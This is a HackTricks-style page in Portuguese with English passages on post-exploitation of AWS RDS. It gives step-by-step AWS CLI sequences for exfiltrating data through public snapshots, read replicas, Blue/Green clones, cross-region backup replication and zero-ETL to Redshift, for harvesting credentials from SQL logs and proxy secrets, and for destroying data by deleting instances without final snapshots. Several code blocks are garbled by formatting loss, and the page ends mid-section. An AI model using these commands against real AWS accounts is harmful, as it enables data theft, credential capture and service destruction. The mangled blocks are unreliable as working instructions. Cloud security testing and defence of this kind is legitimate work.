AWS - RDS Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

RDS

Para mais informaçÔes, confira:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Se o atacante tiver permissÔes suficientes, ele pode tornar um DB publicamente acessível criando um snapshot do DB e, em seguida, um DB publicamente acessível a partir do snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar uma parada imediata de uma instùncia RDS ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexÔes interrompidas e interrupção de processos que dependem do banco de dados.

Para parar uma Ășnica instĂąncia DB (exemplo):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Para parar um cluster de DB inteiro (exemplo):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

Um atacante com permissÔes rds:Modify* pode alterar configuraçÔes críticas e recursos auxiliares (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sem tocar diretamente na instùncia ou no cluster. AlteraçÔes como ajustar parùmetros de conexão/timeout, trocar um proxy endpoint, modificar quais certificados são confiåveis, alterar a capacidade lógica ou reconfigurar um subnet group podem enfraquecer a segurança (abrir novos caminhos de acesso), quebrar o roteamento e o load-balancing, invalidar políticas de replicação/backup e, de modo geral, degradar a disponibilidade ou a capacidade de recuperação. Essas modificaçÔes também podem facilitar exfiltração de dados indireta ou dificultar uma recuperação ordenada do banco de dados após um incidente.

Mover ou alterar as subnets atribuĂ­das a um RDS subnet group:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

Altere parĂąmetros de engine de baixo nĂ­vel em um cluster parameter group:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

Um atacante com permissĂ”es rds:Restore* pode restaurar bancos de dados inteiros a partir de snapshots, automated backups, point-in-time recovery (PITR) ou arquivos armazenados no S3, criando novas instĂąncias ou clusters populados com os dados do ponto selecionado. Essas operaçÔes nĂŁo sobrescrevem os recursos originais — elas criam novos objetos contendo os dados histĂłricos — o que permite a um atacante obter cĂłpias completas e funcionais do banco de dados (de pontos anteriores no tempo ou de arquivos externos no S3) e usĂĄ-las para exfiltrar dados, manipular registros histĂłricos ou reconstruir estados anteriores.

Restaurar uma instĂąncia de DB para um ponto especĂ­fico no tempo:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

Um atacante com rds:Delete* pode remover recursos RDS, excluindo instĂąncias DB, clusters, snapshots, backups automatizados, grupos de sub-redes, grupos de parĂąmetros/opçÔes e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição dos pontos de recuperação e perda de evidĂȘncias forenses.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Um atacante com essas permissÔes poderia criar um snapshot de um DB e tornå-lo publicamente disponível. Em seguida, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot.

Se o atacante nĂŁo tiver a rds:CreateDBSnapshot, ele ainda poderia tornar outros snapshots criados pĂșblicos.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Um atacante com a permissão rds:DownloadDBLogFilePortion pode baixar porçÔes dos arquivos de log de uma instùncia RDS. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderå potencialmente usar essas informaçÔes para escalar privilégios ou executar açÔes não autorizadas.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potential Impact: Acesso a informaçÔes sensíveis ou açÔes não autorizadas usando leaked credentials.

rds:DeleteDBInstance

Um atacante com essas permissÔes pode DoS instùncias RDS existentes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impacto potencial: ExclusĂŁo de instĂąncias RDS existentes e possĂ­vel perda de dados.

rds:StartExportTask

Note

TODO: Testar

Um atacante com essa permissĂŁo pode exportar um RDS instance snapshot para um S3 bucket. Se o atacante tiver controle sobre o S3 bucket de destino, ele pode potencialmente acessar dados sensĂ­veis dentro do snapshot exportado.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impacto potencial: Acesso a dados sensĂ­veis no snapshot exportado.

Replicação de backups automatizados entre RegiÔes para restauração furtiva (rds:StartDBInstanceAutomatedBackupsReplication)

Explorar a replicação de backups automatizados entre RegiÔes para duplicar silenciosamente os backups automatizados de uma instùncia RDS para outra Região AWS e restaurå-los lå. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados fora de banda em uma Região que os defensores possam não monitorar.

PermissÔes necessårias (mínimo):

  • rds:StartDBInstanceAutomatedBackupsReplication in the destination Region
  • rds:DescribeDBInstanceAutomatedBackups in the destination Region
  • rds:RestoreDBInstanceToPointInTime in the destination Region
  • rds:ModifyDBInstance in the destination Region
  • rds:StopDBInstanceAutomatedBackupsReplication (optional cleanup)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (to expose the restored DB)

Impacto: PersistĂȘncia e exfiltração de dados ao restaurar uma cĂłpia dos dados de produção em outra RegiĂŁo e expĂŽ-la publicamente com credenciais controladas pelo atacante.

CLI de ponta a ponta (substitua os espaços reservados) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs

Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruçÔes SQL executadas por aplicaçÔes (nĂŁo sĂŁo necessĂĄrias credenciais do engine DB). Habilite o registro SQL do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.

PermissÔes necessårias (mínimo):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (apenas para anexar um custom parameter group se a instĂąncia estiver usando o padrĂŁo)
- `rds:RebootDBInstance` (para parĂąmetros que requerem reboot, e.g., PostgreSQL)

Passos
1) Recon do alvo e do current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Garanta que um grupo de parĂąmetros DB personalizado esteja anexado (nĂŁo Ă© possĂ­vel editar o padrĂŁo)
  • Se a instĂąncia jĂĄ usa um grupo personalizado, reutilize seu nome no prĂłximo passo.
  • Caso contrĂĄrio, crie e anexe um que corresponda Ă  famĂ­lia do engine:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Habilitar registro SQL detalhado
  • MySQL engines (imediato / sem reinĂ­cio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • Motores PostgreSQL (requer reinicialização):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Deixe o workload rodar (ou gere queries). Statements serĂŁo escritos nos engine file logs
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Descubra e faça download dos logs (sem DB creds necessårios)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analisar offline em busca de dados sensĂ­veis
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Exemplo de evidĂȘncia (redigida):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Limpeza

  • Reverter os parĂąmetros para os padrĂ”es e reiniciar se necessĂĄrio:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impacto: Acesso a dados pós-exploitation ao capturar todas as instruçÔes SQL da aplicação via AWS APIs (sem credenciais do DB), potencialmente leaking secrets, JWTs e PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Abusar de read replicas do RDS para obter acesso de leitura out-of-band sem tocar nas credenciais da instùncia primåria. Um atacante pode criar uma read replica a partir de uma instùncia de produção, redefinir a master password da replica (isto não altera a primåria) e, opcionalmente, expor a replica publicamente para exfiltrar dados.

PermissÔes necessårias (mínimo):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (se exposta publicamente)

Impacto: Acesso somente leitura aos dados de produção através de uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção, pois a primåria permanece intocada e a replicação continua.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

EvidĂȘncia de exemplo (MySQL):

  • Status do DB de rĂ©plica: available, replicação de leitura: replicating
  • ConexĂŁo bem-sucedida com a nova senha e @@read_only=1 confirmando acesso de rĂ©plica somente leitura.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do green para acessar os dados sem tocar na instùncia blue (prod). Isso é mais furtivo do que o compartilhamento de snapshot e frequentemente contorna monitoramento focado apenas na origem.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impacto: Acesso somente leitura, mas com acesso completo aos dados de um clone quase em tempo real da produção sem modificar a instñncia de produção. Útil para extração furtiva de dados e análise offline.

SQL fora-de-banda via RDS Data API habilitando HTTP endpoint + resetting master password

Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, resetar a master password para um valor que vocĂȘ controla e executar SQL sobre HTTPS (nenhum caminho de rede VPC Ă© necessĂĄrio). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (p.ex., Aurora MySQL 8.0 provisioned; algumas versĂ”es Aurora PostgreSQL/MySQL).

PermissÔes (mínimas):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.

CLI de ponta a ponta (exemplo Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

Notas:
- Se SQL com mĂșltiplas instruçÔes for rejeitado pelo rds-data, faça chamadas separadas execute-statement.
- Para engines em que modify-db-cluster --enable-http-endpoint nĂŁo surte efeito, use rds enable-http-endpoint --resource-arn.
- Verifique se a engine/versĂŁo realmente suporta o Data API; caso contrĂĄrio HttpEndpointEnabled permanecerĂĄ False.


### Coletar credenciais do DB via secrets de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abuse a configuração do RDS Proxy para descobrir o secret do Secrets Manager usado na autenticação do backend e, em seguida, leia esse secret para obter as credenciais do banco de dados. Muitos ambientes concedem permissÔes amplas de `secretsmanager:GetSecretValue`, tornando isso um pivÎ de baixa fricção para obter credenciais do DB. Se o secret usar uma CMK, permissÔes KMS mal escopadas também podem permitir `kms:Decrypt`.

PermissÔes necessårias (mínimo):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` no SecretArn referenciado
- Opcional quando o secret usa uma CMK: `kms:Decrypt` nessa chave

Impacto: Divulgação imediata do nome de usuårio/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.

Passos
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

LaboratĂłrio (mĂ­nimo para reproduzir)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Limpeza (laboratĂłrio)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)

Abuse Aurora PostgreSQL zero‑ETL integration to continuously replicate production data into a Redshift Serverless namespace you control. Com uma política de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.

PermissÔes necessårias (mínimo):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Criar Redshift Serverless namespace + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurar a polĂ­tica de recursos do Redshift para permitir a origem Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Criar a integração zero‑ETL a partir do RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Materializar e consultar dados replicados no Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

EvidĂȘncia observada no teste:

